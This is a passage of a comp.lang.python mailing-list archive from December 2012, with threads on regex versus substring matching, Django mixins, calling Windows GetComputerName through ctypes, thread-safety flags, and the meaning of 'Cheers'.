rustompmody at gmail.com Wed Dec 12 22:36:20 2012 From: rustompmody at gmail.com (rusi) Date: Wed, 12 Dec 2012 19:36:20 -0800 (PST) Subject: samba 4 release References: <50C8C0FC.1060501@gmail.com> <50C8C139.3080703@gmail.com> Message-ID: <2dc56ac4-01cc-4f74-9743-97f88ab03978@nl3g2000pbc.googlegroups.com> On Dec 13, 5:18?am, Michael Torrie wrote: > On 12/12/2012 04:40 PM, Mark Lawrence wrote: > > > Awesome!!! ?But what the **** is it??? > > Are you serious? ?You honestly don't know what one of the oldest, most > widely used piece of open source software it and what it does? ?Samba is > at least as well-known and important as Apache, if not more so. For me, more important than apache is the set 1. Linux 2. Perl (followed by python) 3. Samba 4. Wine Linux showed that Unix can run on PCs -- seriously. Yeah the professors writing Minix also did that but Linux stopped being a toy. Of course Linus was lucky that he was hacking when the 386 came out. Perl, which was the first to show that a realistic language could be made whose programs run unchanged on Unix and Dos. [Yeah we pythonistas take it for granted today. It was incredible 15 years ago] Samba took Perl's 'polite interoperability' to a new level: 'aggressive cooperation.' 'You may not want to talk to me but I will talk to you anyhow' What Samba does on the server, wine does on the desktop... Not quite so successful but getting there > > You can be forgiven if you don't know what a DC is... That's a "Domain > Controller" and it forms the central core of an MS Active Directory > setup (users/group info, authentication, user/group policies, client > machine policies. > > Now if we could just get an Exchange replacement that actually doesn't > suck... From mickyhulse.lists at gmail.com Wed Dec 12 22:49:25 2012 From: mickyhulse.lists at gmail.com (Micky Hulse) Date: Wed, 12 Dec 2012 19:49:25 -0800 Subject: OOP noob question: Mixin properties Message-ID: Dear Python Santa gurus, ;D I have this Django mixin: ...which is used to override render_to_response() so I can output a JSON response (the above code is pretty much straight from the Django docs: ). The JSONResponseMixin() gets added to my view class like so: class Api(JSONResponseMixin, BaseDetailView): # ... Within my the mixins.py file, at the top of the file, I've added these constants: CACHE_TIMEOUT = 86400 # 24 hours. CACHE_NAME = 'ad_manager_api' Question(s): I'd like to convert those constants to properties and make my JSONResponseMixin() class more generic and portable. Django aside, could someone provide OOP Python examples of how I could instantiate a mixin Class and set/override its properties before passing data to said mixin? I hope you don't mind that this question involves Django... I'm just looking to improve my core Python skills (so, generic Python examples would be cool). Many thanks in advance! Cheers, Micky From maniandram01 at gmail.com Thu Dec 13 00:23:47 2012 From: maniandram01 at gmail.com (Ramchandra Apte) Date: Wed, 12 Dec 2012 21:23:47 -0800 (PST) Subject: why does dead code costs time? In-Reply-To: References: <73029be5-a075-4eef-ad20-94b9fb3d6e56@googlegroups.com> Message-ID: <2f87bbb0-c47d-4ceb-88aa-54df9146f282@googlegroups.com> On Sunday, 9 December 2012 22:17:09 UTC+5:30, Mark Lawrence wrote: > On 09/12/2012 14:11, Ramchandra Apte wrote: > > > > > > peehole haha > > > > > Double spaced crap from you again not so haha. > > -- > > Cheers. > > Mark Lawrence. haha. What does "Cheers" mean? From maniandram01 at gmail.com Thu Dec 13 00:23:47 2012 From: maniandram01 at gmail.com (Ramchandra Apte) Date: Wed, 12 Dec 2012 21:23:47 -0800 (PST) Subject: why does dead code costs time? In-Reply-To: References: <73029be5-a075-4eef-ad20-94b9fb3d6e56@googlegroups.com> Message-ID: <2f87bbb0-c47d-4ceb-88aa-54df9146f282@googlegroups.com> On Sunday, 9 December 2012 22:17:09 UTC+5:30, Mark Lawrence wrote: > On 09/12/2012 14:11, Ramchandra Apte wrote: > > > > > > peehole haha > > > > > Double spaced crap from you again not so haha. > > -- > > Cheers. > > Mark Lawrence. haha. What does "Cheers" mean? From steve+comp.lang.python at pearwood.info Thu Dec 13 01:01:11 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 13 Dec 2012 06:01:11 GMT Subject: why does dead code costs time? References: <73029be5-a075-4eef-ad20-94b9fb3d6e56@googlegroups.com> <2f87bbb0-c47d-4ceb-88aa-54df9146f282@googlegroups.com> Message-ID: <50c96f27$0$29868$c3e8da3$5496439d@news.astraweb.com> On Wed, 12 Dec 2012 21:23:47 -0800, Ramchandra Apte wrote: >> Cheers. >> >> Mark Lawrence. > > haha. What does "Cheers" mean? It is an exclamation expressing good wishes. In particular, good wishes before drinking. Think of it as a variation on: "Good health to you" "Best wishes" "Sincerest regards" only less formal. Does the Internet not work where you are? Googling for "define:cheers" or "definition cheers" should have answered that question. -- Steven From victorhooi at gmail.com Thu Dec 13 01:10:23 2012 From: victorhooi at gmail.com (Victor Hooi) Date: Wed, 12 Dec 2012 22:10:23 -0800 (PST) Subject: Using regexes versus "in" membership test? In-Reply-To: <50c92acd$0$29972$c3e8da3$5496439d@news.astraweb.com> References: <56f4fbf5-36e6-40d0-b832-e29f8a67190b@googlegroups.com> <50c92acd$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: Hi, That was actually *one* regex expression...lol. And yes, it probably is a bit convoluted. Thanks for the tip about using VERBOSE - I'll use that, and comment my regex - that's a useful tip. Are there any other general pointers you might give for that regex? The lines I'm trying to match look something like this: 07:40:05.793627975 [Info ] [SOME_MODULE] [SOME_FUNCTION] [SOME_OTHER_FLAG] [RequestTag=0 ErrorCode=3 ErrorText="some error message" ID=0:0x0000000000000000 Foo=1 Bar=5 Joe=5] Essentially, I'd want to strip out the timestamp, logging-level, module, function etc - and possibly the tag-value pairs? And yes, based on what you said, I probably will use the "in" loop first outside the regex - the lines I'm searching for are fairly few compared to the overall log size. Cheers, Victor On Thursday, 13 December 2012 12:09:33 UTC+11, Steven D'Aprano wrote: > On Wed, 12 Dec 2012 14:35:41 -0800, Victor Hooi wrote: > > > > > Hi, > > > > > > I have a script that trawls through log files looking for certain error > > > conditions. These are identified via certain keywords (all different) in > > > those lines > > > > > > I then process those lines using regex groups to extract certain fields. > > [...] > > > Also, my regexs could possibly be tuned, they look something like this: > > > > > > (?P\d{2}:\d{2}:\d{2}.\d{9})\s*\[(?P\w+)\s* > > \]\s*\[(?P\w+)\s*\]\s*\[{0,1}\]{0,1}\s*\[(?P\w+)\s*\] > > \s*level\(\d\) broadcast\s*\(\[(?P\w+)\]\s*\[(?P\w+)\] > > \s*(?P\w{4}):(?P\w+) failed order: (?P\w+) (? > > P\d+) @ (?P[\d.]+), error on update \(\d+ : Some error > > string. Active Orders=(?P\d+) Limit=(?P\d+)\)\) > > > > > > (Feel free to suggest any tuning, if you think they need it). > > > > "Tuning"? I think it needs to be taken out and killed with a stake to the > > heart, then buried in concrete! :-) > > > > An appropriate quote: > > > > Some people, when confronted with a problem, think "I know, > > I'll use regular expressions." Now they have two problems. > > -- Jamie Zawinski > > > > Is this actually meant to be a single regex, or did your email somehow > > mangle multiple regexes into a single line? > > > > At the very least, you should write your regexes using the VERBOSE flag, > > so you can use non-significant whitespace and comments. There is no > > performance cost to using VERBOSE once they are compiled, but a huge > > maintainability benefit. > > > > > > > My question is - I've heard that using the "in" membership operator is > > > substantially faster than using Python regexes. > > > > > > Is this true? What is the technical explanation for this? And what sort > > > of performance characteristics are there between the two? > > > > Yes, it is true. The technical explanation is simple: > > > > * the "in" operator implements simple substring matching, > > which is trivial to perform and fast; > > > > * regexes are an interpreted mini-language which operate via > > a complex state machine that needs to do a lot of work, > > which is complicated to perform and slow. > > > > Python's regex engine is not as finely tuned as (say) Perl's, but even in > > Perl simple substring matching ought to be faster, simply because you are > > doing less work to match a substring than to run a regex. > > > > But the real advantage to using "in" is readability and maintainability. > > > > As for the performance characteristics, you really need to do your own > > testing. Performance will depend on what you are searching for, where you > > are searching for it, whether it is found or not, your version of Python, > > your operating system, your hardware. > > > > At some level of complexity, you are better off just using a regex rather > > than implementing your own buggy, complicated expression matcher: for > > some matching tasks, there is no reasonable substitute to regexes. But > > for *simple* uses, you should prefer *simple* code: > > > > [steve at ando ~]$ python -m timeit \ > > > -s "data = 'abcd'*1000 + 'xyz' + 'abcd'*1000" \ > > > "'xyz' in data" > > 100000 loops, best of 3: 4.17 usec per loop > > > > [steve at ando ~]$ python -m timeit \ > > > -s "data = 'abcd'*1000 + 'xyz' + 'abcd'*1000" \ > > > -s "from re import search" \ > > > "search('xyz', data)" > > 100000 loops, best of 3: 10.9 usec per loop > > > > > > > > > (I couldn't find much in the way of docs for "in", just the brief > > > mention here - > > > http://docs.python.org/2/reference/expressions.html#not-in ) > > > > > > Would I be substantially better off using a list of strings and using > > > "in" against each line, then using a second pass of regex only on the > > > matched lines? > > > > That's hard to say. It depends on whether you are matching on a substring > > that will frequently be found close to the start of each line, or > > something else. > > > > Where I expect you *will* see a good benefit is: > > > > * you have many lines to search; > > * but only a few actually match the regex; > > * the regex is quite complicated, and needs to backtrack a lot; > > * but you can eliminate most of the "no match" cases with a simple > > substring match. > > > > If you are in this situation, then very likely you will see a big benefit > > from a two-pass search: > > > > for line in log: > > if any(substr in line for substr in list_of_substrings): > > # now test against a regex > > > > > > Otherwise, maybe, maybe not. > > > > > > -- > > Steven From rosuav at gmail.com Thu Dec 13 01:19:57 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 13 Dec 2012 17:19:57 +1100 Subject: Using regexes versus "in" membership test? In-Reply-To: References: <56f4fbf5-36e6-40d0-b832-e29f8a67190b@googlegroups.com> <50c92acd$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Thu, Dec 13, 2012 at 5:10 PM, Victor Hooi wrote: > Are there any other general pointers you might give for that regex? The lines I'm trying to match look something like this: > > 07:40:05.793627975 [Info ] [SOME_MODULE] [SOME_FUNCTION] [SOME_OTHER_FLAG] [RequestTag=0 ErrorCode=3 ErrorText="some error message" ID=0:0x0000000000000000 Foo=1 Bar=5 Joe=5] > > Essentially, I'd want to strip out the timestamp, logging-level, module, function etc - and possibly the tag-value pairs? If possible, can you do a simple test to find out whether or not you want a line and then do more complex parsing to get the info you want out of it? For instance, perhaps the presence of the word "ErrorCode" is all you need to check - it wouldn't hurt if you have a few percent of false positives that get discarded during the parse phase, it'll still be quicker to do a single string-in-string check than a complex regex to figure out if you even need to process the line at all. ChrisA From rustompmody at gmail.com Thu Dec 13 01:27:22 2012 From: rustompmody at gmail.com (rusi) Date: Wed, 12 Dec 2012 22:27:22 -0800 (PST) Subject: why does dead code costs time? References: <73029be5-a075-4eef-ad20-94b9fb3d6e56@googlegroups.com> <2f87bbb0-c47d-4ceb-88aa-54df9146f282@googlegroups.com> <50c96f27$0$29868$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Dec 13, 11:01?am, Steven D'Aprano wrote: > On Wed, 12 Dec 2012 21:23:47 -0800, Ramchandra Apte wrote: > >> Cheers. > > >> Mark Lawrence. > > > haha. What does "Cheers" mean? > > It is an exclamation expressing good wishes. In particular, good wishes > before drinking. Think of it as a variation on: > > "Good health to you" > "Best wishes" > "Sincerest regards" > > only less formal. > > Does the Internet not work where you are? Googling for "define:cheers" or > "definition cheers" should have answered that question. > > -- > Steven One line above the "cheers" (with a double-space ) we find: > Double spaced crap from you again not so haha. Do you find the sentiment expressed therein consistent with any of your three meanings? From victorhooi at gmail.com Thu Dec 13 01:35:28 2012 From: victorhooi at gmail.com (Victor Hooi) Date: Wed, 12 Dec 2012 22:35:28 -0800 (PST) Subject: Using regexes versus "in" membership test? In-Reply-To: References: <56f4fbf5-36e6-40d0-b832-e29f8a67190b@googlegroups.com> <50c92acd$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: Heya, See my original first post =): > Would I be substantially better off using a list of strings and using "in" against each line, then using a second pass of regex only on the matched lines? Based on what Steven said, and what I know about the logs in question, it's definitely better to do it that way. However, I'd still like to fix up the regex, or fix any glaring issues with it as well. Cheers, Victor On Thursday, 13 December 2012 17:19:57 UTC+11, Chris Angelico wrote: > On Thu, Dec 13, 2012 at 5:10 PM, Victor Hooi wrote: > > > Are there any other general pointers you might give for that regex? The lines I'm trying to match look something like this: > > > > > > 07:40:05.793627975 [Info ] [SOME_MODULE] [SOME_FUNCTION] [SOME_OTHER_FLAG] [RequestTag=0 ErrorCode=3 ErrorText="some error message" ID=0:0x0000000000000000 Foo=1 Bar=5 Joe=5] > > > > > > Essentially, I'd want to strip out the timestamp, logging-level, module, function etc - and possibly the tag-value pairs? > > > > If possible, can you do a simple test to find out whether or not you > > want a line and then do more complex parsing to get the info you want > > out of it? For instance, perhaps the presence of the word "ErrorCode" > > is all you need to check - it wouldn't hurt if you have a few percent > > of false positives that get discarded during the parse phase, it'll > > still be quicker to do a single string-in-string check than a complex > > regex to figure out if you even need to process the line at all. > > > > ChrisA From victorhooi at gmail.com Thu Dec 13 01:35:28 2012 From: victorhooi at gmail.com (Victor Hooi) Date: Wed, 12 Dec 2012 22:35:28 -0800 (PST) Subject: Using regexes versus "in" membership test? In-Reply-To: References: <56f4fbf5-36e6-40d0-b832-e29f8a67190b@googlegroups.com> <50c92acd$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: Heya, See my original first post =): > Would I be substantially better off using a list of strings and using "in" against each line, then using a second pass of regex only on the matched lines? Based on what Steven said, and what I know about the logs in question, it's definitely better to do it that way. However, I'd still like to fix up the regex, or fix any glaring issues with it as well. Cheers, Victor On Thursday, 13 December 2012 17:19:57 UTC+11, Chris Angelico wrote: > On Thu, Dec 13, 2012 at 5:10 PM, Victor Hooi wrote: > > > Are there any other general pointers you might give for that regex? The lines I'm trying to match look something like this: > > > > > > 07:40:05.793627975 [Info ] [SOME_MODULE] [SOME_FUNCTION] [SOME_OTHER_FLAG] [RequestTag=0 ErrorCode=3 ErrorText="some error message" ID=0:0x0000000000000000 Foo=1 Bar=5 Joe=5] > > > > > > Essentially, I'd want to strip out the timestamp, logging-level, module, function etc - and possibly the tag-value pairs? > > > > If possible, can you do a simple test to find out whether or not you > > want a line and then do more complex parsing to get the info you want > > out of it? For instance, perhaps the presence of the word "ErrorCode" > > is all you need to check - it wouldn't hurt if you have a few percent > > of false positives that get discarded during the parse phase, it'll > > still be quicker to do a single string-in-string check than a complex > > regex to figure out if you even need to process the line at all. > > > > ChrisA From rosuav at gmail.com Thu Dec 13 01:38:44 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 13 Dec 2012 17:38:44 +1100 Subject: Using regexes versus "in" membership test? In-Reply-To: References: <56f4fbf5-36e6-40d0-b832-e29f8a67190b@googlegroups.com> <50c92acd$0$29972$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Thu, Dec 13, 2012 at 5:35 PM, Victor Hooi wrote: > Heya, > > See my original first post =): > Oops! Mea culpa. Yes, you did say that. And then definitely, if it's a one-keyword search for each and then the regex to parse, that would be much more efficient than using the regex to pick lines. Sorry! I didn't read it properly. ChrisA From cs at zip.com.au Thu Dec 13 01:51:21 2012 From: cs at zip.com.au (Cameron Simpson) Date: Thu, 13 Dec 2012 17:51:21 +1100 Subject: why does dead code costs time? In-Reply-To: References: Message-ID: <20121213065121.GA7197@cskk.homeip.net> On 12Dec2012 22:27, rusi wrote: | On Dec 13, 11:01?am, Steven D'Aprano wrote: | > On Wed, 12 Dec 2012 21:23:47 -0800, Ramchandra Apte wrote: | > >> Cheers. | > >> Mark Lawrence. | > | > > haha. What does "Cheers" mean? | > | > It is an exclamation expressing good wishes. In particular, good wishes | > before drinking. [...] | | One line above the "cheers" (with a double-space ) we find: | | > Double spaced crap from you again not so haha. | | Do you find the sentiment expressed therein consistent with any of | your three meanings? Nope. But they're separate sentiments (weasel words:-) I tend to end messages with "Cheers" myself. Though I also tend to strip it out if I am being annoyed. As you say, it is inconsistent. Cheers, -- Cameron Simpson It looked good-natured, she thought; Still it had very long claws and a great many teeth, so she felt it ought to be treated with respect. From rustompmody at gmail.com Thu Dec 13 01:59:40 2012 From: rustompmody at gmail.com (rusi) Date: Wed, 12 Dec 2012 22:59:40 -0800 (PST) Subject: why does dead code costs time? References: Message-ID: <22d87cd2-9853-471f-ab76-978981b8a254@m4g2000pbd.googlegroups.com> On Dec 13, 11:51?am, Cameron Simpson wrote: > It looked good-natured, she thought; ?Still it had very long claws and a > great many teeth, so she felt it ought to be treated with respect. heh! If only we could respect without such coercion(s) From cs at zip.com.au Thu Dec 13 02:00:48 2012 From: cs at zip.com.au (Cameron Simpson) Date: Thu, 13 Dec 2012 18:00:48 +1100 Subject: MySQLdb compare lower In-Reply-To: References: Message-ID: <20121213070047.GA7917@cskk.homeip.net> On 12Dec2012 02:03, Dennis Lee Bieber wrote: | According to the old "MySQL Language Reference" | """ | By default, string comparisons are not case sensitive and will use the | current character set (ISO-8859-1 Latin1 by default, which also works | excellently for English). | """ I'm flabbergasted. [... consults the internets ...] It is still the case today:-( Ouch. Thank you for this reality check. -- Cameron Simpson Outside of a dog, a book is a man's best friend. Inside of a dog, it's too dark to read. - Groucho Marx From rosuav at gmail.com Thu Dec 13 02:03:03 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 13 Dec 2012 18:03:03 +1100 Subject: why does dead code costs time? In-Reply-To: <22d87cd2-9853-471f-ab76-978981b8a254@m4g2000pbd.googlegroups.com> References: <22d87cd2-9853-471f-ab76-978981b8a254@m4g2000pbd.googlegroups.com> Message-ID: On Thu, Dec 13, 2012 at 5:59 PM, rusi wrote: > On Dec 13, 11:51 am, Cameron Simpson wrote: >> It looked good-natured, she thought; Still it had very long claws and a >> great many teeth, so she felt it ought to be treated with respect. > > heh! > > If only we could respect without such coercion(s) Even if you don't respect his claws and teeth, you should respect the fact that, as he says, "we're all mad here"... But this is quite off topic, both off the thread's subject line and the list's purpose. ChrisA From deepblu at poczta.fm Thu Dec 13 02:40:08 2012 From: deepblu at poczta.fm (deepblu at poczta.fm) Date: Wed, 12 Dec 2012 23:40:08 -0800 (PST) Subject: Problem with calling function from dll Message-ID: <989fec12-900a-4b46-80f6-e1cf9e1e707f@googlegroups.com> I have problem with using function from dll. import ctypes b = ctypes.windll.LoadLibrary("kernel32") a = "" b.GetComputerNameA(a,20) But I got exception: Traceback (most recent call last): File "", line 1, in b.GetComputerNameA(a,20) WindowsError: exception: access violation reading 0x00000014 Even when I write: a = ctypes.c_char_p('.' * 20) I got the same result. Here I found this function description: http://sd2cx1.webring.org/l/rd?ring=pbring;id=15;url=http%3A%2F%2Fwww.astercity.net%2F~azakrze3%2Fhtml%2Fwin32_api_functios.html Please help. From ulrich.eckhardt at dominolaser.com Thu Dec 13 03:46:57 2012 From: ulrich.eckhardt at dominolaser.com (Ulrich Eckhardt) Date: Thu, 13 Dec 2012 09:46:57 +0100 Subject: Problem with calling function from dll In-Reply-To: <989fec12-900a-4b46-80f6-e1cf9e1e707f@googlegroups.com> References: <989fec12-900a-4b46-80f6-e1cf9e1e707f@googlegroups.com> Message-ID: <19hop9-331.ln1@satorlaser.homedns.org> Am 13.12.2012 08:40, schrieb deepblu at poczta.fm: > I have problem with using function from dll. > > import ctypes > > b = ctypes.windll.LoadLibrary("kernel32") > > a = "" > > b.GetComputerNameA(a,20) GetComputerNameA takes a pointer to a writable char string. You give it a pointer to an immutable string. You will have to create a buffer first and pass that to the function. Also, I would use GetComputerNameW instead, although it makes little difference for this name (provided that's the hostname, which may only contain an ASCII subset). > But I got exception: > > Traceback (most recent call last): > File "", line 1, in > b.GetComputerNameA(a,20) > WindowsError: exception: access violation reading 0x00000014 Here is something else that is wrong: The address 0x00000014 that the function tries to access is neither the address of a mutable nor an immutable string but simply the value 20 that you passed as second parameter. In other words, the way that the parameters are passed to the function is wrong. > Even when I write: > a = ctypes.c_char_p('.' * 20) > I got the same result. This looks much better than passing the string above, but it still seems the (hopefully correct) parameters are passed wrongly. > Here I found this function description: > http://sd2cx1.webring.org/l/rd?ring=pbring;id=15;url=http%3A%2F%2Fwww.astercity.net%2F~azakrze3%2Fhtml%2Fwin32_api_functios.html Use the primary source for such info: http://msdn.microsoft.com/en-us/library/windows/desktop/ms724295%28v=vs.85%29.aspx One possibly important point there is the WINAPI part, which describes how parameters are passed to and from the function, which might be the only cause that this doesn't work. However, instead of try-and-error, rather go to the documentation of the ctypes API and search for WINAPI. There, you will find an example that uses a function from the win32 API, too. A bit further down, you will also find a create_string_buffer() function that could be useful for you. http://docs.python.org/2/library/ctypes.html Greetings! Uli From insideshoes at gmail.com Thu Dec 13 04:23:53 2012 From: insideshoes at gmail.com (inshu chauhan) Date: Thu, 13 Dec 2012 10:23:53 +0100 Subject: Error .. Please Help In-Reply-To: <50C8A42B.80503@davea.name> References: <50C8A42B.80503@davea.name> Message-ID: > > if-else doesn't define a loop, but each of the for statements do. > > You have defined a classification for 8 of the possible colors, leaving > millions of them undefined. If the first time through the loop you > manage to hit one of those undefined ones, you'll have no value for > classification. So you get an exception. > Yes, You are right that I will hit an exception if classification doesnot have any value. But as for the colors, actually I myself have colored the image using these 8 colors but still I think in some pixels I have put more than 1 color, thats why different colors are being encountered. > > Worse, if you manage to get past that first pixel with a valid > classification, then for remaining pixels, you'll be using the last > 'valid' classification encountered. This is the kind of "quiet failure" > that programmers dread. Something that seems to work, but isn't even > close. > For this I put an else clause at end but is there a better way to avoid this kind of situation ?? > > If you're going to print (to file) on each iteration through the loop > (except 0,0,0), you need to make sure there's always a valid value. So > you need at least one more classification value, and an else clause to > assign it, as ChrisA pointed out. > > Do you have a reason for treating (0,0,0) specially? When that value is > seen, the logic skips the print as well, since continue skips to the > next loop iteration. > Yes , I have to skip (0,0,0), that is a kind of requirement. > > Are you really getting floating point values, or are they always going > to be equal to an integer? Those if/elif statements might be a problem > if you ever need to compare to a value like (128.4, 255.0, 255.0). > I dont have values with decimal part, All values are integer. > > -- > > DaveA > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From rosuav at gmail.com Thu Dec 13 04:44:22 2012 From: rosuav at gmail.com (Chris Angelico) Date: Thu, 13 Dec 2012 20:44:22 +1100 Subject: Error .. Please Help In-Reply-To: References: <50C8A42B.80503@davea.name> Message-ID: On Thu, Dec 13, 2012 at 8:23 PM, inshu chauhan wrote: >> Are you really getting floating point values, or are they always going >> to be equal to an integer? Those if/elif statements might be a problem >> if you ever need to compare to a value like (128.4, 255.0, 255.0). > > > I dont have values with decimal part, All values are integer. Find out how the tuples are actually being given to you. Floating point values are rather annoying when it comes to comparisons. Try printing out one of the tuples; I would hope that it has integer values, not floats, in it. ChrisA From pander.musubi at gmail.com Thu Dec 13 04:51:00 2012 From: pander.musubi at gmail.com (Pander Musubi) Date: Thu, 13 Dec 2012 01:51:00 -0800 (PST) Subject: Where to contribute Unicode General Category encoding/decoding Message-ID: Hi all, I have created some handy code to encode and decode Unicode General Categories. To which Python Package should I contribute this? Regards, Pander From duncan.booth at invalid.invalid Thu Dec 13 05:01:52 2012 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 13 Dec 2012 10:01:52 GMT Subject: Problem with calling function from dll References: <989fec12-900a-4b46-80f6-e1cf9e1e707f@googlegroups.com> Message-ID: deepblu at poczta.fm wrote: > I have problem with using function from dll. > > import ctypes > > b = ctypes.windll.LoadLibrary("kernel32") > > a = "" > > b.GetComputerNameA(a,20) > > > But I got exception: > > Traceback (most recent call last): > File "", line 1, in > b.GetComputerNameA(a,20) > WindowsError: exception: access violation reading 0x00000014 > > Even when I write: > a = ctypes.c_char_p('.' * 20) > I got the same result. > > Here I found this function description: > http://sd2cx1.webring.org/l/rd?ring=pbring;id=15;url=http%3A%2F% 2Fwww.a > stercity.net%2F~azakrze3%2Fhtml%2Fwin32_api_functios.html > > > Please help. You have to allocate a buffer for the result, and the second parameter is a pointer to the length of the buffer on input and contains the length of the result on output. #!python2.7 from ctypes import windll, c_wchar_p, POINTER, c_int, create_unicode_buffer kernel32 = windll.LoadLibrary("kernel32") _GetComputerNameW = kernel32.GetComputerNameW _GetComputerNameW.argtypes = [c_wchar_p, POINTER(c_int)] _GetComputerNameW.restype = c_int def GetComputerName(): buf = create_unicode_buffer(255) len = c_int(255) if not _GetComputerNameW(buf, len): raise RuntimeError("Failed to get computer name") return buf.value[:len.value] print GetComputerName() -- Duncan Booth http://kupuguy.blogspot.com From news at blinne.net Thu Dec 13 05:26:47 2012 From: news at blinne.net (Alexander Blinne) Date: Thu, 13 Dec 2012 11:26:47 +0100 Subject: Preventing tread collisions In-Reply-To: References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> Message-ID: <50c9ad68$0$6564$9b4e6d93@newsspool4.arcor-online.net> Am 12.12.2012 21:29, schrieb Dave Angel: > On 12/12/2012 03:11 PM, Wanderer wrote: >> I have a program that has a main GUI and a camera. In the main GUI, you can manipulate the images taken by the camera. You can also use the menu to check the camera's settings. Images are taken by the camera in a separate thread, so the long exposures don't block the GUI. I block conflicts between the camera snapshot thread and the main thread by setting a flag called self.cameraActive. I check to see if the cameraActive flag is false and set the cameraActive to True just before starting the thread. I generate an event on exiting the thread which sets the cameraActive flag to False. I also check and set and reset the flag in all the menu commands that access the camera. Like this. >> >> def onProperties(self, event): >> """ Display a message window with the camera properties >> event -- The camera properties menu event >> """ >> # Update the temperature >> if not self.cameraActive: >> self.cameraActive = True >> self.camera.getTemperature() >> camDict = self.camera.getPropertyDict() >> self.cameraActive = False >> else: >> camDict = {'Error': 'Camera Busy'} >> dictMessage(camDict, 'Camera Properties') >> >> This works > > I don't think so. in between the if and the assignment, another thread > could get in there and also set the flag. Then when either one of them > finishes, it'll clear the flag and the other code is unprotected. I have a general question about this kinds of things. I see that the above is a common use case for some kind of lock which does this testing/locking atomically. But the question is: if I know for sure that there is no other thread that might get in the way this solution would be fine, right? In one of my applications i have a somewhat different case: i have a list of objects and call the same method of each object, each in its own thread (which is created and later joined just for this purpose). The objects are thus only used by that one thread, the main thread waits for all threads to be finished before accessing those objects again. Do i really need some kind of locking for those objects? Greetings From deepblu at poczta.fm Thu Dec 13 05:30:58 2012 From: deepblu at poczta.fm (deepblu at poczta.fm) Date: Thu, 13 Dec 2012 02:30:58 -0800 (PST) Subject: Problem with calling function from dll In-Reply-To: <989fec12-900a-4b46-80f6-e1cf9e1e707f@googlegroups.com> References: <989fec12-900a-4b46-80f6-e1cf9e1e707f@googlegroups.com> Message-ID: <85454b4c-48a5-4e05-8833-25561df7cc8c@googlegroups.com> sb = ctypes.create_string_buffer(20) i = ctypes.byref(ctypes.c_int(20)) w = b.GetComputerNameA(sb,i) w -> 1 sb.value -> nazwa komputera :-) From jldunn2000 at gmail.com Thu Dec 13 07:48:41 2012 From: jldunn2000 at gmail.com (loial) Date: Thu, 13 Dec 2012 04:48:41 -0800 (PST) Subject: Find lowest level directory Message-ID: <8b61c9f2-967c-4f33-beb1-71f848f4724c@googlegroups.com> How can I find the full path of the lowest level directory in a directory structure? If there is more than one directory at the lowest level, the first one found will be enough. Any help appreciated From breamoreboy at yahoo.co.uk Thu Dec 13 08:09:40 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Thu, 13 Dec 2012 13:09:40 +0000 Subject: Find lowest level directory In-Reply-To: <8b61c9f2-967c-4f33-beb1-71f848f4724c@googlegroups.com> References: <8b61c9f2-967c-4f33-beb1-71f848f4724c@googlegroups.com> Message-ID: On 13/12/2012 12:48, loial wrote: > How can I find the full path of the lowest level directory in a directory structure? > > If there is more than one directory at the lowest level, the first one found will be enough. > > Any help appreciated > Take a look at the os.path functions. Note that os.path.walk in Python 2 is called os.walk in Python 3. -- Cheers. Mark Lawrence. From python.ml.lisael at lisael.org Thu Dec 13 08:22:57 2012 From: python.ml.lisael at lisael.org (Bruno Dupuis) Date: Thu, 13 Dec 2012 14:22:57 +0100 Subject: Where to contribute Unicode General Category encoding/decoding In-Reply-To: References: Message-ID: <20121213132256.GC13607@hud> On Thu, Dec 13, 2012 at 01:51:00AM -0800, Pander Musubi wrote: > Hi all, > > I have created some handy code to encode and decode Unicode General Categories. To which Python Package should I contribute this? > Hi, As said in a recent thread (a graph data structure IIRC), talking about new features is far better if we see the code, so anyone can figure what the code really does. Can you provide a public repository uri or something? Standard lib inclusions are not trivial, it most likely happens for well-known, mature, PyPI packages, or battle-tested code patterns. Therefore, it's often better to make a package on PyPI, or, if the code is too short, to submit your handy chunks on ActiveState. If it deserves a general approbation, it may be included in Python stdlib. Cheers -- Bruno From neilc at norwich.edu Thu Dec 13 08:37:54 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 13 Dec 2012 13:37:54 GMT Subject: Error .. Please Help References: <50C8A42B.80503@davea.name> Message-ID: On 2012-12-13, inshu chauhan wrote: > For this I put an else clause at end but is there a better way > to avoid this kind of situation ?? An if-elif-else structure is usually broken if you leave out the else part. When I don't expect it to ever actually happen when the program is working correctly it looks like this: else: raise SomeException("{} can't happen!".format(the_context)) else: raise exception constructs have saved me a lot of time. -- Neil Cerutti From andrew3 at r3dsolutions.com Thu Dec 13 09:32:18 2012 From: andrew3 at r3dsolutions.com (Andrew Robinson) Date: Thu, 13 Dec 2012 06:32:18 -0800 Subject: Preventing tread collisions In-Reply-To: <50C92D1F.8020709@davea.name> References: <3003d531-217c-4c61-a967-161cac71a5f7@googlegroups.com> <50C8E91E.7010402@davea.name> <50C8C530.4000207@r3dsolutions.com> <50C92D1F.8020709@davea.name> Message-ID: <50C9E6F2.1010208@r3dsolutions.com> >> On 12/12/2012 12:29 PM, Dave Angel wrote: >>> On 12/12/2012 03:11 PM, Wanderer wrote: >>>> I have a program that has a main GUI and a camera. In the main GUI, >>>> you can manipulate the images taken by the camera. You can also use >>>> the menu to check the camera's settings. Images are taken by the >>>> camera in a separate thread, so the long exposures don't block the >>>> GUI. I block conflicts between the camera snapshot thread and the >>>> main thread by setting a flag called self.cameraActive. I check to >>>> see if the cameraActive flag is false and set the cameraActive to >>>> True just before starting the thread. I generate an event on exiting >>>> the thread which sets the cameraActive flag to False. I also check >>>> and set and reset the flag in all the menu commands that access the >>>> camera. Like this. >>>> >>>> def onProperties(self, event): >>>> """ Display a message window with the camera properties >>>> event -- The camera properties menu event >>>> """ >>>> # Update the temperature >>>> if not self.cameraActive: >>>> 